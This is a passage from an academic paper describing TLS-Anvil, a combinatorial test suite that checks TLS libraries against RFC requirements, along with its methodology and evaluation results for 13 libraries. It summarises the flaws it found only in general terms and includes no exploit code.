putes the correct values. For the TLS protocol, this would
be tests that check if an implementation is interoperable and
finishes the handshake correctly when provided with valid
cryptographic messages. It becomes even harder if the non-
functional property "security" should be tested – this property
must be preserved even for all combinations of invalid inputs.

Previous attempts to solve the test oracle problem for the
TLS protocol defined the "desired, correct behavior" of a
TLS implementation as having exactly the same output as
a reference implementation – miTLS in [56] and nqsb-TLS
in [57] and [23]. This approach practically failed because it
produced a very high false positive rate as in TLS, there are
often multiple valid responses to a specific input, but every
deviation from the reference implementation was treated as a
flaw. Ultimately, the authors only attested that behavioral dif-
ferences between libraries could be observed [23, Sec. 6][56,
Sec. 7][57, Sec. 7].

A trivial approach to overcome false positives is that a
human specifies the correct behavior for every combination
of input parameters. While this may be feasible to check
some basic security properties (e.g., the strongest encryption
algorithm is always chosen during the TLS handshake or that
dangerous features are deactivated), the exponential number
of tests needed for a thorough coverage cannot be generated
manually. For example, for the parameters in the scope of this
paper (Table 3), in the worst case, we would have to manually
write 18,743,296 variations of the same server test.

Test Oracle Automation Test oracles can be derived from
formal specifications of the system, from assertions in the
source code, from pseudo-oracles, from regression tests,
or from invariants in the program code detected automat-
ically [4]. These approaches either need special forms of
formal specifications not available for TLS, or may only be
used to test functional properties. Approaches to automati-
cally generate test oracles from human-readable specifications
either suffer from exponential growth of the resulting formal

description [37], or need a restricted natural language [55].
Without these restrictions, human interaction seems necessary
to define the correct outcome. In this case, automation can be
achieved by defining abstract test templates from which many
test cases can be generated automatically.

Combinatorial Testing CT is a widely known technique
to select combinations from a set of parameters. In CT, a
test is hence designed such that the same test can be invoked
with different values of these parameters. These tests are
referred to as parameterized tests or test templates. Designing
such test templates can be far from trivial as each template
requires an analysis that identifies which parameters can be
parameterized. Even given such test templates, testing all
combinations of test parameters is usually still infeasible since
the number of test cases grows exponentially. One way to
reduce the number of possible parameter combinations is a CT
method called t-way testing [31]. In t-way testing, all possible
combinations of up to t parameters out of the n parameters
are used for testing. If t < n, the number of tests can be
further reduced by including two or more t-sets in the same
test vector. If t << n, this results in a significant reduction in
the number of tests.

In general, CT is a suitable choice for developing precise
test inputs with high flexibility to trigger deep TLS corner
cases. However, using this approach for TLS evaluations
yields further challenges which have been left unsolved in the
previous scientific studies [23, 56, 57].

Challenging Parameter Interactions A naive approach to
utilize CT would blindly combine different parameter values.
However, in a complex protocol like TLS, parameters have
dependencies, and not all potential parameter values are use-
ful for a given test. For example, a test that evaluates if a
library can complete the handshake with a given cipher suite
should choose a cipher suite that is supported by the SUT. A
test that analyzes the elliptic curve computations performed
by an SUT must further limit its choice to an elliptic curve
cipher suite. While these two examples are still reasonably
manageable, the parameter value interactions can quickly
become complex depending on the test context. For exam-
ple, consider a test for the client-side validation of signatures
generated by a server. In that case, there is an interaction
between the selected cipher suite, signature algorithm, and
server certificate that ultimately affects signature validity. A
chosen combination of these three parameters may be invalid
regardless of the specific byte values of the signature. If these
dependencies are ignored, the test result on the SUT does
not correspond to the validation of the digital signature but
to the invalid parameter choice, which would render the test
oracle unreliable. These challenges result in another research
question:

RQ2: Can reliable test oracles for parameterized
test templates with a large parameter space for TLS
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be defined with a low false positive rate?

Solving the Test Oracle Problem for TLS We propose a
novel approach for solving the test oracle problem for TLS
consisting of four components:

1. We use test templates which can be parameterized to au-
tomatically generate many test cases. Each test template
tests a requirement based on an RFC. The parameteriza-
tion of the template enables the use of CT.

2. We define a test oracle for each test template that can
decide if the selected requirement is fulfilled for a given
input and output; this reflects the flexibility inherent to
TLS and mitigates the high false positive rate of previous
approaches.

3. We systematically restrict the Input Parameter Model
(IPM) of test templates to ‘reasonable’ values. In the first
step, feature extraction is used to restrict the parameter
values to values supported by the SUT. Then semantic
dependencies between test parameters are taken into
account to derive a semantically sound subset for the
IPM.

4. We use t-way combinatorial testing to minimize the num-
ber of test cases while still covering all t-combinations
of parameters.

This answers RQ2 in the affirmative but leads to a new re-
search question:

RQ3: How practical and effective is our methodol-
ogy when considering complex TLS libraries?

TLS-Anvil To demonstrate the effectiveness of our method-
ology, we implemented a TLS test suite called TLS-Anvil that
uses CT to derive test cases from test templates. TLS-Anvil
is capable of testing the compliance of a server or client im-
plementation with the protocol specification. It can be used
by developers to test their implementations as well as pen-
etration testers to estimate the quality of a TLS stack. We
built TLS-Anvil upon TLS-Attacker [60], TLS-Scanner [61],
JUnit5 [27], and coffee4j [17, 21]. TLS-Attacker is a well-
established framework for the analysis of TLS libraries, while
the coffee4j framework allows us to use t-way testing with a
configurable strength t, enabling us to find hidden bugs in the
implementation. To create test templates, we carefully ana-
lyzed TLS-related RFCs [40–52] for absolute requirements
which are marked with the keywords MUST, SHALL or RE-
QUIRED [39]. Additionally, we integrated known state ma-
chine vulnerabilities from the literature [54] to guide our state
machine tests beyond the implicit definition of a TLS state
machine in the RFCs. We then created test templates for the
extracted requirements for our test suite.

To demonstrate the effectiveness of TLS-Anvil, we de-
veloped a library of docker images that allows researchers
to quickly start TLS clients and servers in different ver-
sions, which is of general interest for TLS developers and
researchers independent of the test suite. Our docker library
contains around 700 versions of 23 different implementations
and provides a Java interface to start and stop TLS imple-
mentations easily. We used our docker library to evaluate 13
widely used TLS libraries.

Results Although TLS is arguably the mostly researched
cryptographic protocol, TLS-Anvil was able to find five is-
sues that affect cryptographic computations and three imme-
diately exploitable vulnerabilities in the newest TLS library
versions (Table 2). These included a TLS server authenti-
cation bypass (reported independently), a CBC padding or-
acle resulting from invalid buffer boundary validation, and
a Denial-of-Service vulnerability. In addition, TLS-Anvil
successfully found 231 other RFC violations, including 15
interoperability issues. Especially the security and cryptogra-
phy issues indicate a blind spot in current testing approaches
as the considered libraries are generally well-tested yet these
issues are present. Thus, in answering RQ1 we must state
that although TLS libraries are primarily well-maintained, the
security of the overall ecosystem will profit from systematic
testing. Our results also answer RQ3 since various RFC vi-
olations could be found within a reasonable execution time.
Additionally, the extent of the test suite can be scaled based
on the use case by adjusting the t parameter used for CT.

Contributions We make the following contributions:

• We propose a novel methodology to solve the test oracle
problem for TLS through a technique based on parame-
terized test cases derived from test templates and careful
constraints for the input space. This methodology can
be adapted to other cryptographic protocols.

• We develop TLS-Anvil, a test suite for TLS 1.2 and
TLS 1.3 libraries, which provides a high degree of flex-
ibility, an extendable architecture, and application pro-
gramming interfaces (APIs) to write test templates for
the TLS protocol efficiently. TLS-Anvil uses t-way test-
ing to enhance performance.

• We demonstrate that t-way testing is an effective tech-
nique for testing complex security protocols as it found
issues even for already highly tested TLS libraries.

• We found and disclosed two new vulnerabilities (the
third vulnerability was already reported independently)
and five cases where cryptographic functionalities in
TLS could be illictly affected as well as additional 231
RFC violations.

• We provide all of our developed tools as open-source
software.
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Responsible Disclosure We responsibly disclosed all of
our findings to the respective developers.

2 Background
2.1 Transport Layer Security (TLS)
The TLS protocol allows two communicating peers to
establish a secure channel. To this end, the peers
perform a TLS handshake to negotiate cryptographic
parameters – defined in so-called cipher suites (e.g.,
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256) – and de-
rive TLS session keys. The negotiated parameters and keys
are then used within the channel to protect the exchanged
messages’ confidentiality, integrity, and authenticity.

There are two widely used and recommended TLS versions:
TLS 1.2 [40] and TLS 1.3 [51].

TLS 1.2 A regular TLS 1.2 handshake with DH key ex-
change and server authentication requires two round trips [40].
The client starts the handshake with the ClientHello mes-
sage, which contains the TLS version, a list of proposed TLS
cipher suites, named groups for the key exchange, and exten-
sions. The server responds with four handshake messages.
With the ServerHello message, the server selects the TLS
version and other cryptographic parameters from the pro-
posals of the client. The server then sends a Certificate
message that contains the X.509 certificate chain with the
server’s public key. The server uses its private key to au-
thenticate a freshly generated ephemeral DH public key and
sends it within the ServerKeyExchange message. Finally,
the server sends the ServerHelloDone message to indicate
the end of the flight. The client continues the handshake with
a ClientKeyExchange message, which contains the client’s
DH share. From now on, both parties can compute a shared
secret, called premaster secret, which is used to derive all cryp-
tographic keys. The client then sends a ChangeCipherSpec
message to notify the server about switching to an encrypted
state and sends a Finished message. The server finalizes
the handshake by sending its own ChangeCipherSpec and
Finished messages.

TLS 1.3 The newest version of TLS is TLS 1.3 [51]. In
contrast to TLS 1.2, it usually only needs one RTT for its
handshake to establish cryptographic keys. This is achieved
by reordering the messages and adding new extensions.

TLS 1.3 attempts to negotiate a shared secret already
with the ClientHello and ServerHello messages that
contain protocol parameters along with DH shares. Both
parties then directly compute additional secrets and be-
gin to encrypt and protect messages. The server then
sends an EncryptedExtensions, Certificate, and
CertificateVerify message. The CertificateVerify
message contains a signature over previously exchanged mes-
sages, verifiable with the public key from the server certifi-

cate. The last message the server sends in the handshake is a
Finished message, which is similar to the Finished mes-
sage in TLS 1.2. The client finally also sends a Finished
message to complete the handshake.

Alert Protocol The TLS protocol has a mechanism to com-
municate errors to the peer called alerts. TLS RFCs specify
more than 30 different alerts and how to use them in specific
exceptional cases. For example, the Close Notify alert no-
tifies the peer about closing the underlying connection, or
Bad Record MAC informs the peer that the received record
message contains an invalid authentication code. Correct han-
dling of alert messages is critical for the security of a TLS
library, as they can provide information to a potential attacker
that can be used to break the security goals of TLS [36].

2.2 Software Testing
Testing In the general testing terminology, the evaluated
software is referred to as the System Under Test (SUT). Test-
ing an SUT can be performed on various levels. Unit tests
are performed on a very low level and focus on testing the
functionality of isolated functions. To do so, Unit tests need
access to software internals. System tests evaluate software
as a whole, with all of its interacting submodules. The test
inputs are the external inputs of the software; thus, system
tests are suitable for black-box testing. A complete set of
inputs for an SUT is called a test case. The collection of all
test cases which are executed against the SUT is called test
suite. For parameterized tests, test cases are instantiated from
test templates, which the test developer writes.

Test Oracles To classify the result of a test case, the devel-
oper of the test template defines a test oracle [24]. The test
oracle decides if the behavior of an SUT is appropriate for a
given input and if the SUT passed or failed the test. In prac-
tice, this decision can be challenging, which is also known as
the test oracle problem [4].

Combinatorial Testing Some test failures may only occur
due to an interaction between different input parameters, so
they can only be detected by performing tests that cover all
combinations of parameters. In practice, this is often not
feasible as complex software can have a multitude of parame-
ters with many different values, resulting in an exponential
growth of generated test cases. However, research in the field
of software testing has shown that most observed failures are
not the result of an interaction of all possible parameters but
rather a subset of them [32, 38]. This led to the concept of
t-way tests.

A t-way test covers all combinations of parameter values
for each subset of t parameters. All possible test parameters
and their values are predefined in a so-called Input Parameter
Model (IPM).

Generating an ideal test suite, i.e., the minimum set of test
cases required to cover all t-way interactions, is challenging.
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Still, modern algorithms are often able to provide a good test
suite within an acceptable timeframe. To avoid the creation
of nonsensical test inputs and to speed up the generation
of the test suite, many CT algorithms provide the option to
define constraints on specific parameter value combinations
manually and thus exclude combinations that do not produce
meaningful test cases. If the test inputs are chosen carefully,
even a CT with a small value for t can achieve a high bug
detection rate while maintaining a comparatively small test
suite [30].

3 Methodology

In this paper, we propose a new testing methodology for TLS
libraries that is of general interest for testing cryptographic
protocols. It leverages the power of t-way testing to system-
atically evaluate the complex parameter interactions of the
libraries. The test oracle problem is solved by defining test
templates, from which the different test cases for t-way testing
can be generated automatically. Many values of TLS param-
eters are optional: E.g., not all cipher suites, and extensions
must be supported. Hence, for each tested library, we perform
feature extraction using TLS Scanner. Upon execution, an
Input Parameter Model (IPM) is created for each test tem-
plate that is specific to the tested implementation such that
the oracle problem is solvable for all possible test cases of the
template.

3.1 Test Templates for Reliable Test Oracles
A test template defines the desired outcome of all test cases
derived from it – thus, it represents a test oracle that is appli-
cable specifically to its resulting test cases. Each test template
checks a specific requirement. These requirements are de-
rived from TLS-related RFCs and known state machine bugs.
For the test templates to be reliable, the conditions listed be-
low must be met. In Section 4 we give the details on which
requirements have been considered and how to fulfill these
requirements.

Combinatorial Testing (CT) To enable CT, the template
must allow for the insertion of all reasonable parameter com-
binations, even in seemingly unrelated aspects of the test
input.

General IPM In order to create an IPM for CT, concrete
parameter values have to be chosen for each parameter for
a given test template. For parameters that only have a lim-
ited number of values, all values can be considered, while
for parameters with potentially many different values, indi-
vidual, interesting values have to be chosen. For example, a
parameter could model the addition of a specific extension as
a boolean parameter. Here, both possible values ’true’ and
’false’ can be considered as parameter values. In another ex-
ample, the specific fragmentation of a message as a parameter

has a combinatorial explosion in possible parameter values,
such that a limited number of specific, likely fault-inducing,
parameter values have to be chosen.

Semantically Sound IPM For a given parameter, all possi-
ble parameter values must have the same semantic, e.g., they
are either all valid or all invalid within the context of the tested
requirement. However, some combinations of parameter val-
ues might change the semantics of another parameter value.
For example, in TLS, RSA signatures can only be used if
an RSA certificate is used in the connection. We, therefore,
carefully model constraints of parameter values and exclude
combinations of parameters where the interaction of specific
values changes their semantics.

SUT-Specific IPM Real-world implementations commonly
do not implement all possible features of a protocol, but only
a subset of them. While a specific value might objectively be
valid for a given parameter, in the context of a concrete System
Under Test (SUT) the parameter might be invalid because the
respective feature is not supported. The SUT-specific IPM is
therefore generated after the feature extraction.

3.2 Limiting the number of test cases

The subset of inputs defined by the SUT-specific IPM is still
too large for exhaustive testing. However, now t-way tests
can be used to automatically explore interesting parameter
value combinations of the input space while still being able
to solve the oracle problem at any time, as the test template
knows the semantics of the parameter values.

3.3 Test Suite Execution

The execution of the test suite then follows three phases for
each test template: An IPM creation, execution, and validation
phase.

IPM Creation In this phase, the test suite determines which
features an implementation supports and chooses concrete
values for the IPM. After that, constraints are placed on the
parameter values of the IPM to exclude semantic changing
parameter value combinations.

Template Execution With the previously created IPM, the
test suite can then create individual test cases using t-way
testing for a provided strength. The generated test cases are
then executed.

Validation In the validation phase, the test oracle is exe-
cuted, which evaluates whether the execution of a test case
was successful or not. Due to the constraining steps made
before, the evaluation of the test oracle can achieve high relia-
bility. The determined results are then gathered and presented
to the user.

USENIX Association 31st USENIX Security Symposium    219



4 TLS-Anvil

We implemented the proposed methodology in a test suite
called TLS-Anvil. Our test suite is capable of perform-
ing black box system tests with TLS clients and servers
to evaluate protocol compliance. TLS-Anvil is based on
TLS-Attacker [60], TLS-Scanner [61], coffee4j [17], and
JUnit 5 [27]. TLS-Attacker was chosen as it provides a large
TLS feature set and was written with testing in mind, allow-
ing access to various internals of a TLS connection [58]. We
use TLS-Scanner to determine the supported features of a
tested library. We then use this information to constrain the
parameter values to derive an SUT-specific IPM. Coffee4j
was chosen as a framework for t-way testing, as it already
implements many popular algorithms. JUnit 5 was chosen as
a testing framework because it is state of the art for software
testing in Java.

TLS-Anvil consists of an execution framework and a collec-
tion of test templates. Each test template is implemented as an
individual JUnit test that evaluates an individual requirement,
such as the compliance to one specific RFC statement. In our
analyses, we considered a range of TLS related RFCs [40–52]
(see Table 7), as well as known state machine vulnerabilities
from scientific literature [54].

4.1 Architecture

The overall architecture of TLS-Anvil is visualized in Figure 1
and follows our methodology from Section 3.

Test Templates The test template defines the messages to
be sent to the SUT and their fields based on the requirement.
To classify the observed behavior of the SUT for a test case
derived from the test template, the template contains a val-
idation function that effectively implements the logic of its
test oracle. Since test templates are independent, they can
be run in parallel. The body of a test template is focused on
the actions of the test, i.e., the exchanged messages, while
the parameters and their constraints are provided as Java an-
notations. Additional metadata, such as a reference to an
RFC section, can also be defined using annotations. For the
interested reader, we provide an example for the creation of a
test template in the TLS-Anvil GitHub repository.1

Feature Extraction Before any test templates get executed,
TLS-Anvil runs pretests based on TLS-Scanner that collect
the supported features of the SUT. This information guides
the selection of applicable test templates and the constraining
process for the IPMs.

Template Selection Based on the determined capabilities,
we filter out test templates that can not be applied at all to the
SUT due to a missing feature. After determining applicable

1https://github.com/tls-attacker/TLS-Anvil

test templates, TLS-Anvil continues with the selection of
appropriate parameter values for the IPM.

Parameter Value Selection The values for each parameter
are selected based on the supported features, as well as on the
selected template. For example, if a template wants to test
an ECDH feature, the parameter values for the cipher suite
parameter will only contain cipher suites supported by the
implementation with ECDH key exchange.

Constraining IPM After the values for each parameter
were selected, the constraints are added upon the different
parameter values, such that the semantics of parameter values
do not change. For example, RSA certificates should not be
used with ECDSA signature algorithms, as this combination
is an illegal selection. Subsequently, the IPM only results in
benign values. However, if a test template aims to enforce a
specific illegal value (combination), it is possible to disable
individual constraints. It is further possible to model a non-
conformity as a parameter of the IPM, for example, to test
different undefined values for a field. Table 3 summarizes the
parameters that typically form an IPM in TLS-Anvil.

Test Case Input Creation Given the final and constrained
IPM, we use coffee4j to generate the test inputs. We con-
figured coffee4j to use the IPOG algorithm to determine the
test inputs, as it was designed for efficient t-way tests with
t > 2 [35].

Test Template Execution Once coffee4j determined the
test inputs, JUnit repeatedly triggers an instantiation of the
test template, each time with a different parameter set. This
creates many individual test cases. For each test case, TLS-
Anvil sets up a configuration to enforce the chosen parameters
and a workflow trace for TLS-Attacker, i.e., a sequence of
TLS messages to be sent and received. TLS-Anvil then exe-
cutes the workflow.

Validation Afterward, the template’s validation logic is
called for the test case, which yields a result of the test ora-
cle. This validation usually consists of two components: a
template-specific validation and a call to the validator. On
the template level, the test oracle can evaluate message fields
specifically affected by the underlying requirement. For ex-
ample, the test oracle could validate a received signature to
ensure that the peer computed it correctly. The validator, in
contrast, bundles evaluation steps shared among a larger num-
ber of test templates. This includes evaluating the observed
message flow with respect to the protocol specification, which
is crucial for a comprehensive test oracle. The validator also
accounts for the influence of parameter values on the mes-
sage flow and allowed deviations such as optional messages.
The test template can also influence the validator by request-
ing additional analysis steps, like checking for specific alert
messages or the termination of the TCP connection.
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Figure 1: Overview of the execution of a test template in TLS-Anvil beginning with the feature extraction and selection of
the template followed by the creation of the constrained IPM, the generation of concrete test inputs based on it, and finally
the execution with TLS-Attacker and evaluation through the test oracle. Feature extraction and test case execution steps use
state-of-the-art tools – TLS-Scanner and TLS-Attacker – to send TLS messages to the SUT. Elements marked in green depict the
contributions of this paper.

When the last set of parameters for a test template has
finished, TLS-Anvil composes a conclusive result for the test.

Report Evaluation Once all test templates have been exe-
cuted, the individual results are collected in a final step that
yields a test report. TLS-Anvil provides a small web applica-
tion to analyze the results of the individual test cases, with
the ability to inspect each performed TLS handshake on TCP
message level.

4.2 Requirement Selection

In order to write test templates for TLS-Anvil, we had to
select requirements for the evaluation.

Explicit Requirements from RFCs As the main source
for our test requirements, we manually analyzed 13 TLS
RFCs including those that define the most prominent pro-
tocol versions, TLS 1.2 and 1.3. A complete list with sum-
maries of the scopes of the individual RFCs can be found
in Table 7. Throughout these RFCs, we specifically focused
on instances where the standard defines, according to RFC
2119 [39], absolute requirements by using the terms MUST,
SHALL, REQUIRED, or absolute prohibitions by using the
terms MUST NOT or SHALL NOT. These requirements re-
duced the risk of misinterpretation by us, as they explicitly
describe demands that have to be met by the implementation.

We then filtered out statements of the RFCs that solely
affect future extensions of the protocol and are not directed at
implementations of the protocol. Furthermore, some require-
ments may be deprecated by newer RFCs, and therefore were
excluded as well. As an example, the TLS 1.2 RFC imposes
restrictions on how an implementation has to process SSL2
messages. However, RFC 6176 deprecated SSL2 entirely

due to its weak cryptography, rendering these requirements
meaningless. Additionally, we filtered requirements that are
not testable with our approach. This mostly applies to re-
quirements that can not (reliably) be tested without access to
the internals of a library, such as timing-related vulnerabili-
ties [19] but also restrictions imposed on the sender which do
not mandate a reaction by the peer if violated. For the scope of
the study, we excluded all requirements related to certificates
and certificate validation with modified X.509 structures and
chains as these have already been in the scope of previous
research [11, 16, 29, 66]. We also excluded requirements
related to renegotiation and 0-RTT related tests since not all
sample implementations provide the required level of control
over the client or server to test these requirements properly.
We provide an overview of the number of covered require-
ment keywords per RFC in Section 4.3. Note that we only
depict the numbers for MUST and MUST NOT keywords
as the other mandatory keywords, REQUIRED and SHALL
(NOT), are seldomly used throughout the considered RFCs.
Only RFC 6066 makes extensive use of SHALL to impose
restrictions on certificate handling.

Length Field Tests A single requirement may mandate the
creation of multiple test templates. A prime example of this
are tests with manipulated length fields within messages. RFC
5246 defines the requirement to reject such invalid messages
only once, but a test template can be written for each individ-
ual length field of any TLS 1.2 message. Due to the increased
number of semantically very close resulting tests, we subse-
quently group these length field tests in our overviews.

Implicit Requirements As expected for any standard, not
all crucial aspects of the TLS protocol are sufficiently pointed
out in the RFCs. For example, the TLS 1.2 RFC states that an
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implementation must validate the peer’s Finished message,
including its contained cryptographic checksum. However, it
does not mark the verification of a Message Authentication
Code (MAC) as mandatory in terms of RFC 2119. Yet the
RFC does define an alert to be used upon receiving a message
with an invalid MAC resulting in an implicit requirement.
We, therefore, also included specific implicit requirements in
our test templates. These requirements account for 47 test
templates of the 408 test templates we implemented overall.

State Machine Tests While the TLS RFCs define that mes-
sages sent outside of the expected order must be rejected, it
does not define a concrete state machine for an implementa-
tion. For the most recent version, TLS 1.3, a figure of a state
machine was included in the RFC but it is far from complete.
Ultimately, requirements spread across different RFCs exist
that affect the state machine. As explicit requirements exist
that mandate tests for the correctness of the state machine, we
wrote a set of test templates based both on RFC statements
and on known state machine bugs from the literature [54]. As
for length field tests, we subsequently group these tests in a
separate category.

4.3 Resulting Test Templates

After processing all of the RFCs and related literature men-
tioned in Section 4.2, our test suite consisted of 408 unique
test templates of which 361 were able to use combinatorial
testing. The other templates account for requirements for
which the behavior of an SUT can be evaluated but not influ-
enced through parameter choices, such as the evaluation of
a received ClientHello, which is the very first message of
the protocol. Table 1 provides a detailed breakdown of the
mandatory keywords of the considered RFCs according to our
selection process. In Table 6, we also provide an overview
of the number of test templates implemented for clients and
servers for each RFC.

For the parameters in our test templates we considered
various aspects of a TLS connection. These parameters can
be simple properties, like the tested cipher suite or if an op-
tional extension is added or not, but can also cover specific
properties, for example, the bit position at which the test tem-
plate invalidates a MAC. In Table 3, we list the parameters
that we consider within our IPM’s in client and server test
templates. A default set of parameters is used if a template
does not explicitly define its parameters. A test template can
further define value constraints for all parameters available if
only some of their values are meaningful in their context. All
test templates share a general set of constraints that filter out
generally invalid combinations of values.

RFC Σ X × � � /∈ � %
5246 118 37 81 10 15 43 13 31.4
8446 255 156 99 2 0 60 37 61.2
8701 7 4 3 0 0 3 0 57.1
7507 3 2 1 0 0 1 0 66.7
6066 22 6 16 1 1 12 2 27.3
7568 3 3 0 0 0 0 0 100.0
7919 12 11 1 1 0 0 0 91.7
7465 1 1 0 0 0 0 0 100.0
7366 2 1 1 0 0 1 0 50.0
8422 34 16 18 1 0 15 2 47.1
7685 1 0 1 0 0 0 1 0.0
6176 1 0 0 0 0 0 1 0.0
7457 0 0 0 0 0 0 0 -

5246 18 11 7 1 2 1 3 61.1
8446 73 38 35 4 0 11 20 52.1
8701 4 2 2 0 0 1 1 50.0
7507 2 1 1 0 0 1 0 50.0
6066 6 2 4 0 0 3 1 33.3
7568 4 4 0 0 0 0 0 100.0
7919 4 3 1 0 0 1 0 75.0
7465 2 2 0 0 0 0 0 100.0
7366 3 1 2 0 0 1 1 33.3
8422 10 7 3 0 0 3 0 70.0
7685 1 1 0 0 0 0 0 100.0
6176 3 2 1 0 0 0 1 66.7
7457 0 0 0 0 0 0 0 -

Table 1: Overview of the categorized MUST (top) and MUST
NOT (bottom) keywords. Σ: number of keywords contained
overall;X: covered; ×: not covered; �: protocol extensions;
�: deprecated; /∈: out of scope; �: not testable with our
approach; %: percentage covered - The other mandatory
keywords, REQUIRED or SHALL (NOT), are rarely used
in RFCs. Note that RFC 7457 summarizes known attacks
without explicit requirements based on these keywords

5 TLS-Docker-Library

Testing TLS libraries, especially in different versions, can
result in complex setups and may require conflicting depen-
dencies installed alongside each other. To ease the evaluation
process and keep the results reproducible, we created Docker
images for open-source libraries which can start the provided
example client and server applications. Additionally, we cre-
ated a Java library that provides an abstraction layer to start
these Docker containers using a unified API that works for
every implementation. This allowed us to abstract away from
the command line parameters each server or client implemen-
tation requires to start successfully. These are, for example,
the port on which the server listens or the server to which a
client implementation should connect to.

The TLS-Docker-Library contains Docker images of 23
different TLS libraries with around 700 different versions in
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total. We believe that this project is a valuable resource for
the community, independently of the developed test suite. We
release TLS-Docker-Library alongside TLS-Anvil. For the
interested reader, we provide an example of how to start an
OpenSSL server in the TLS-Docker-Library GitHub reposi-
tory.2

6 Evaluation

In order to evaluate TLS-Anvil, we tested open-source TLS
libraries with their respective newest labeled versions at the
time as listed in Table 4. To remain consistent with related
literature, we selected libraries that have been analyzed in
various other publications. We further guided our selection to
cover implementations in different programming languages,
such as Rust and Python. We then tested the provided example
client and server implementations in their default configura-
tion.

6.1 Performance and Code Coverage
To benchmark TLS-Anvil, we measured the performance
based on the server evaluation of the libraries. We used a
virtual machine with 16 cores with a clock speed of 2800
MHz and 16 GB RAM. We provide the complete overview
of the execution time and the number of connections required
for each library for testing strengths one to three in Table 4.
For strength three, the execution time varied between 5.9 and
67.2 hours among the libraries. As expected, the execution
time of strength one is much smaller, varying between 0.1
and 2.6 hours.

The benchmark shows two significant outliers. wolfSSL
had a very high execution time of 50.4 hours with compar-
atively few 64079 handshakes. This is due to the behavior
of wolfSSL’s example server, which frequently terminated,
requiring a time-consuming restart of the docker container.
mbedTLS had the most individual connections while only
supporting TLS 1.2. This is the result of mbedTLS’ extensive
default configuration that accepted 44 cipher suites and 13
named groups. Since these capabilities significantly define
the extent of the implementation-specific IPM, a given test
template, in general, required more individual connections for
mbedTLS than for any other library to achieve the coverage
guarantees of the t-way test.

We also measured the code coverage TLS-Anvil reached
for OpenSSL and compared it to the tlsfuzzer of Hubert
Kario [62] and TLS Inspector [1] from Achelos to give an idea
of the extent of our test suite beyond the number of our test
templates. To determine the code coverage, we instrumented
the library with kcov [28]. Both TLS Inspector and tlsfuzzer
(despite the name) are test suites, while tlsfuzzer sometimes
uses a fuzzing approach within its tests. For comparability,
we used the OpenSSL server as tlsfuzzer does not support

2https://github.com/tls-attacker/TLS-Docker-Library

client tests. As for the rest of the evaluation, we used strength
t = 3 for the combinatorial testing in TLS-Anvil. tlsfuzzer
reached a code coverage of 17.4% while TLS-Anvil reached
17.3% and TLS Inspector 14.6%. Note that OpenSSL consists
of various cryptographic tools. Consequentially, large parts
of the code can not be reached using TLS sessions.

6.2 Findings
We divided the test results into four categories: tests that
strictly succeeded, tests that conceptually succeeded, and
tests that fully or partially failed. Succeeded tests indicate
that the SUT performed actions that are in conformance with
the specification. Failed tests, on the other hand, indicate that
the SUT directly violated the specification and was acting in
direct contradiction.

Strictly succeeded A strictly succeeded test means that a
library behaved exactly as expected. If multiple test cases are
performed during the execution of a test template, the SUT
must have behaved correctly across all of them.

Conceptually succeeded A conceptually succeeded test
means that an implementation did not precisely fulfill the
RFC requirements or did not do so in all test cases but effec-
tively behaved correctly. This usually applies to tests where a
fatal alert was expected, but the library either only closed the
connection but did not send an alert, or the alert description
did not match the RFC’s specification.

Partially failed When multiple handshakes are performed
for a test template, the partially failed result indicates that not
all test inputs failed for a specific test template.

Fully failed A fully failed result means that the SUT did
not behave correctly for any test input.

For failed tests, we further analyzed possible reasons
using TLS-Anvil’s Report Analyzer to ascertain our findings.

6.2.1 Overall Results

We count all tests as ‘passed’ that either succeeded strictly
or conceptually and include the percentage of passed tests in
Table 5. We further list the ratio of conceptually to strictly
succeeded tests as an additional metric to compare how close
an implementation is to the RFC for our tests. Rustls, for
example, passed many tests, but most of them only succeeded
conceptually as Rustls often did not send any alerts. Botan,
in contrast, often fulfilled the expectations of our tests and, at
the same time, was very accurate with alert descriptions. We
generally found that most libraries pass a high ratio of the test
templates, with NSS, BoringSSL, tlslite-ng, and OpenSSL
passing around 97% of their applied server tests. Among
the client tests, BearSSL, BoringSSL, and Botan have the
highest ratio of passed tests with 97.3%, 96.8%, and 96.2%,
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respectively. We further expand upon the results of libraries
with significantly worse ratios in Section 6.2.2.

In Table 6 we list how many test templates of an RFC
passed and how many were executed for each library. We
grouped the results of test templates based on similar error
cases and identified a total of 239 issues. We further cate-
gorized these findings based on their impact and determined
that three immediately led to exploits in wolfSSL and Ma-
trixSSL. Additionally, we found five issues affecting the
cryptography of a handshake. As an example, the clients of
MatrixSSL, s2n, and wolfSSL are willing to negotiate pa-
rameters they did not offer. While none of the parameters
negotiated are (sufficiently) weakening the security to pose
an immediate threat now, parameter negotiation is a basic
security property of every cryptographic protocol to prevent
current and potential future attacks. We further identified
15 issues affecting the interoperability to an extent where a
peer that operates within the boundaries of the RFC may not
be able to complete a handshake. Note that this may also
include intentional deviations by the developers if they break
the implementation’s correctness in regards to the specifica-
tion. 100 issues account for various likely uncritical cases
where a library deviated from the RFC beyond alert codes and
where interoperability should not be affected. Examples of
these findings are a bug in OpenSSL, which allowed multiple
TLS 1.3 HelloRetryRequestmessages, which can keep the
client in a handshake loop, or the support of deprecated curves
by mbedTLS. Finally, we grouped 116 cases where a library
did not send an alert or sent a different alert than requested
by the RFC. These are minor deviations from the standard.
However, in the past, information gained from the type of
alert sent by an implementation has been used to mount side-
channel attacks [10, 36]. To avoid such deviations, great care
must be taken when designing the alert handling of an im-
plementation. We hence chose to include these findings in
our reports to the developers. We describe the more severe
findings in Section 6.2.3 and present the number of findings
for each evaluated library based on the above categorization
in Table 2.

6.2.2 Outliers of the Evaluation

As can be seen in Table 5, GnuTLS, MatrixSSL, s2n, and
wolfSSL clients only passed comparatively few tests. In the
case of GnuTLS and wolfSSL this is due to an intolerance to-
wards record fragmentation. Record fragmentation is a mech-
anism that allows an implementation to split TLS messages
into smaller fragments, containing at least a single byte [40].
These fragments are sent in independent TLS records. Both
implementations, GnuTLS and wolfSSL, failed to process
tiny records, particularly records that held only a single byte
of the message payload. As record fragmentation is a pa-
rameter of the combinatorial testing, not all inputs resulted
in a success for a test case. This is evident from the large

Library Exploit Crypto Interop. Alerts Other

BearSSL 0 0 1 15 4
BoringSSL 0 0 0 6 3
Botan 0 0 0 3 3
GnuTLS 0 0 1 9 10
LibreSSL 0 1 1 7 6
MatrixSSL 2 2 7 6 16
mbed TLS 0 0 1 14 5
NSS 0 0 0 7 6
OpenSSL 0 0 0 6 7
Rustls 0 0 1 15 7
s2n 0 1 0 13 12
tlslite-ng 0 0 0 2 10
wolfSSL 1 1 3 13 11

3 5 15 116 100

Table 2: Overview of the findings for each library with results
